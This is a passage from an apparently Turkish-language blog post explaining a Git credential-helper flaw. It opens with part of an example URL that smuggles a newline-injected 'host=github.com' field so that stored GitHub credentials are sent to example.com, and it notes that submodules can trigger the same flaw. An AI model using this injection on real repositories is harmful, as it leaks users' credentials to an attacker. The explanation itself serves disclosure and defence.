ps://example.com?%0ahost=github.com'</span>
</pre>
</div>

<p>
şeklinde çalıştırılan bir komut <code>github.com</code> için depolanmış kimlik
bilgilerini <code>example.com</code> sitesine yönlendiriyor. Elbette benim gibi siz de
ilk bakışta "böyle bariz şüpheli bir komutu kim, niye çalıştırsın?"
diyebilirsiniz fakat bu bağlantılar her zaman böyle açık şekilde olmuyor.
Örneğin, bir depo içerisine başka bir depoyu eklemeye yarayan Git'in Submodule
sistemi böyle bir zaafiyete kur